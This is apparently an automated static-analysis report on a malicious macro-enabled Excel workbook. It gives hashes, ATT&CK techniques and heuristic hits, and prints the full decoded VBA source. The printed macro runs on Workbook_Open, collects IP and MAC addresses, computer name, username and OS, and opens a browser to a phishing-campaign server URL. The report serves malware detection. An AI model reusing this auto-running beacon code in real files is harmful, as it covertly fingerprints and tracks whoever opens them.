Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 15d75ee9a65af620…

MALICIOUS

Office (OOXML)

74.6 KB Created: 2016-09-19 01:00:44 UTC Authoring application: Microsoft Macintosh Excel 16.0300 First seen: 2021-07-07
MD5: 4592f30aee226f9e9ed2c854fd111764 SHA-1: 6589b3031e407dc895d22fb1bad8fc3643eba434 SHA-256: 15d75ee9a65af620da288b76029adf4b0bbeafca67d9c1e54ef411a0574e0094
398 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The file contains a Workbook_Open VBA macro that is obfuscated and uses WScript.Shell and CreateObject to execute commands. The script attempts to collect local and public IP addresses, MAC address, computer name, username, and OS information. It then constructs a URL using a variable 'serverURL' and 'PhishCampaign' to send this data back to a remote server, indicating a reconnaissance or phishing precursor activity.

Heuristics 11

  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Dim APS As String
            APS = "do shell script " & VBA.Chr(34) & "open -a Safari " & url & VBA.Chr(34)
            MacScript APS
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set Registry = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
            Dim APS As String
            APS = "do shell script " & VBA.Chr(34) & "open -a Safari " & url & VBA.Chr(34)
            MacScript APS
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            Dim ie As Object
            Set ie = VBA.CreateObject("Internetexplorer.Application")
            ie.Visible = True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Dim ie As Object
            Set ie = VBA.CreateObject("Internetexplorer.Application")
            ie.Visible = True
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub workbook_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            MacAddress = GetMyMACAddress()
            ComputerName = VBA.Environ("COMPUTERNAME")
            UserName = VBA.Environ("USERNAME")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://myip.dnsomatic.com Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10562 bytes
SHA-256: 931b126bb74d8067ab684bd22d7ba60418b1c347a35bc0a92cd59f1238587130
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

    'Collect Computer Data
    Dim LocalIP As String
    Dim PublicIP As String
    Dim MacAddress As String
    Dim ComputerName As String
    Dim UserName As String
    Dim OS As String
    Dim FileType As String
    FileType = "xlsm"
    
    'Collect Registry Data
    Dim PhishHookUserID As String
    Dim PhishHookOrgID As String

    'Collect Data From Phishproof
    Dim PhishCampaign As String
    Dim PhishURL As String
    PhishCampaign = ReadProp("PhishCampaign")
    PhishURL = ReadProp("PhishURL")
    
    Dim serverURL As String
    serverURL = VBA.Left(PhishURL, VBA.InStr(PhishURL, "/attachments") - 1)

    If RunningOnMac() Then

        LocalIP = Replace(MacScript("IPv4 address of (system info)"), " ", "_")
        MacAddress = Replace(MacScript("primary Ethernet address of (system info)"), " ", "_")
        ComputerName = Replace(MacScript("computer name of (system info)"), " ", "_")
        UserName = Replace(MacScript("long user name of (system info)"), " ", "_")
        OS = "Mac"
        
        'Send Data Back to PhishProof
        Call DoBrowser("safari", serverURL & "/af/" & PhishCampaign)
        
    Else

        LocalIP = GetMyLocalIP()
        PublicIP = GetMyPublicIP()
        MacAddress = GetMyMACAddress()
        ComputerName = VBA.Environ("COMPUTERNAME")
        UserName = VBA.Environ("USERNAME")
        OS = VBA.Environ("OS")
    
        'Send Data Back to PhishProof
        Call DoBrowser("ie", serverURL & "/af/" & PhishCampaign)
        
    End If

End Sub

Sub DoBrowser(Browser As String, url As String)
    
    If Browser = "ie" Then
    
        Dim ie As Object
        Set ie = VBA.CreateObject("Internetexplorer.Application")
        ie.Visible = True
        ie.Navigate url
        
    Else
    
        Dim APS As String
        APS = "do shell script " & VBA.Chr(34) & "open -a Safari " & url & VBA.Chr(34)
        MacScript APS
    
    End If
    
End Sub
Private Function ReadProp(sPropName As String) As Variant

    Dim bCustom As Boolean
    Dim sValue As String

    On Error GoTo ErrHandlerReadProp
    'Try the built-in properties first
    'An error will occur if the property doesn't exist
    sValue = ActiveWorkbook.BuiltinDocumentProperties(sPropName).Value
    ReadProp = sValue
    Exit Function

ContinueCustom:
  bCustom = True

Custom:
  sValue = ActiveWorkbook.CustomDocumentProperties(sPropName).Value
  ReadProp = sValue
  Exit Function

ErrHandlerReadProp:
  Err.Clear
  'The boolean bCustom has the value False, if this is the first
  'time that the errorhandler is runned
  If Not bCustom Then
    'Continue to see if the property is a custom documentproperty
    Resume ContinueCustom
  Else
    'The property wasn't found, return an empty string
    ReadProp = ""
    Exit Function
  End If

End Function
Private Function Registry_Read(Key_Path As String) As Variant
    
    On Error Resume Next
    
    Dim Registry As Object
    
    Set Registry = CreateObject("WScript.Shell")
    
    Registry_Read = Registry.RegRead(Key_Path)
    
End Function

Private Function GetMyLocalIP() As String

    'Declaring the necessary variables.
    Dim strComputer     As String
    Dim objWMIService   As Object
    Dim colItems        As Object
    Dim objItem         As Object
    Dim myIPAddress     As String
    
    'Set the computer.
    strComputer = "."
    
    'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
    'A select query is used to get a collection of IP addresses from the network adapters that have the property IPEnabled equal to true.
    Set colItems = objWMIService.ExecQuery("SELECT IPAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    
    'Loop through all the objects of the collection and return the first non-empty IP.
    For Each objItem In colItems
        If Not IsNull(objItem.IPAddress) Then myIPAddress = VBA.Trim(objItem.IPAddress(0))
        Exit For
    Next
    
    'Return the IP string.
    GetMyLocalIP = myIPAddress

End Function

Private Function GetMyPublicIP() As String

    Dim HttpRequest As Object
    
    On Error Resume Next
    'Create the XMLHttpRequest object.
    Set HttpRequest = CreateObject("MSXML2.XMLHTTP")

    'Check if the object was created.
    If Err.Number <> 0 Then
        'Return error message.
        GetMyPublicIP = "Could not create the XMLHttpRequest object!"
        'Release the object and exit.
        Set HttpRequest = Nothing
        Exit Function
    End If
    On Error GoTo 0
    
    'Create the request - no special parameters required.
    HttpRequest.Open "GET", "http://myip.dnsomatic.com", False
    
    'Send the request to the site.
    HttpRequest.send
        
    'Return the result of the request (the IP string).
    GetMyPublicIP = HttpRequest.responsetext

End Function

Private Function GetMyMACAddress() As String

    'Declaring the necessary variables.
    Dim strComputer     As String
    Dim objWMIService   As Object
    Dim colItems        As Object
    Dim objItem         As Object
    Dim myMACAddress    As String
    
    'Set the computer.
    strComputer = "."
    
    'The root\cimv2 namespace is used to access the Win32_NetworkAdapterConfiguration class.
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
    'A select query is used to get a collection of network adapters that have the property IPEnabled equal to true.
    Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    
    'Loop through all the collection of adapters and return the MAC address of the first adapter that has a non-empty IP.
    For Each objItem In colItems
        If Not IsNull(objItem.IPAddress) Then myMACAddress = objItem.MacAddress
        Exit For
    Next
    
    'Return the IP string.
    GetMyMACAddress = myMACAddress
    
End Function
Private Function RunningOnMac() As Boolean
    RunningOnMac = False
    
    #If Mac Then
          RunningOnMac = True
     #End If
End Function



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet9"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet10"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet12"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet13"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet14"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 56832 bytes
SHA-256: 4f258b335b51ae92e057455d433eba28eaf031abe3796439d257f7ab4f7ccd62